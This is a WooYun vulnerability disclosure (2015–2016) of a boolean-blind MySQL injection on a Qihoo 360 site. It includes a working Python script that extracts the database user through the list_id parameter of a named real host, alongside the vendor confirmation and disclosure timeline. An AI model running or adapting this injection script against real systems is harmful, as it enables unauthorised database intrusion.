360某站点MySQL注射(附验证脚本)

编号165470
Urlhttp://www.wooyun.org/bug.php?action=view&id=165470
漏洞状态厂商已经确认
漏洞标题360某站点MySQL注射(附验证脚本)
漏洞类型SQL注射漏洞
厂商奇虎360
白帽子lijiejie
提交日期2015-12-28 16:53:00
公开日期2016-02-09 23:29:00
修复时间(not set)
确认时间2015-12-28 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank20
漏洞简介
360某站点MySQL注射(附验证脚本)
漏洞细节

http://channel.360.cn/frontnotice/list?list_id=1


list_id可注入,MySQL bool blind.

POC

猜解user(),得到

[Done]MySQL user is [email protected]


360.cn.mysqli.png


python脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = list('[email protected]_.')
print 'Start to retrive MySQL User:'
user = ''
for i in range(1,25):
for payload in payloads:
conn = httplib.HTTPConnection('channel.360.cn', timeout=60)
s = "/frontnotice/list?list_id=1 and ascii(mid(user(),%s,1))=%s" % (i, ord(payload))
conn.request(method='GET',
url=s,
headers=headers)
html_doc = conn.getresponse().read().decode('utf-8')
conn.close()
if html_doc.find(u'违规渠道封包功能上线') > 0:
user += payload
print '\n[Scan in progress]' + user
break
else:
print '.',
print '\n[Done]MySQL user is ' + user

修复方案

类型转换/过滤/转义

状态信息 2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-28: 厂商已经确认,细节仅向厂商公开
2016-01-07: 细节向核心白帽子及相关领域专家公开
2016-01-17: 细节向普通白帽子公开
2016-01-27: 细节向实习白帽子公开
2016-02-09: 细节向公众公开
厂商回复感谢白帽子反馈,相关同事已第一时间响应跟进处理,预祝白帽子同学们新年快乐。
回应信息危害等级:高漏洞Rank:20 确认时间:2015-12-28 17:22
Showing 1-9 of 9 items.
评论内容评论人点赞数评论时间

2333rank 卧槽 好6

Can02016-01-11 18:15:00

李姐姐又在测神器。

_Thorns02016-01-03 02:42:00

大神啊 NB

stilwel_song02015-12-28 18:21:00

666666

沦沦02015-12-28 17:42:00

关注,等公开~

phantom030702015-12-28 17:30:00

啪啪啪。。。好666

带我玩02015-12-28 17:13:00

大牛

牛 小 帅02015-12-28 17:13:00

干的漂亮!

毛猴02015-12-28 17:02:00

啪啪啪。。。好666

狗狗侠02015-12-28 16:56:00